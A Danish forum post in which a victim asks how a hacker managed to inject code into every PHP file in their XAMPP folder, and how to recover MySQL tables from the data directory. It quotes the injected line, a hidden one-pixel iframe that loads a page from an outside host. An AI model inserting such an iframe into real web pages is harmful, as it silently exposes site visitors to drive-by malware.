Er blevet hacket med "lovebak"

Hvordan kan jeg blive hacket? en hacker har smidt en html kode ind i alle mine php filer i mine xampp mappe - hvordan er det gået til?

<iframe src=http://lovebak.com/qq.htm border=0 height=1 width=1></iframe>

Et andet problem er så at jeg ikke kan få mine databaser ned. Jeg har kigget i mappen "xammp/mysql/data/" og der lægger alle mine tabeller, men det er en underlig fil type.

Kan jeg få dem frem igen på en eller anden måde? I såfald; hvordan?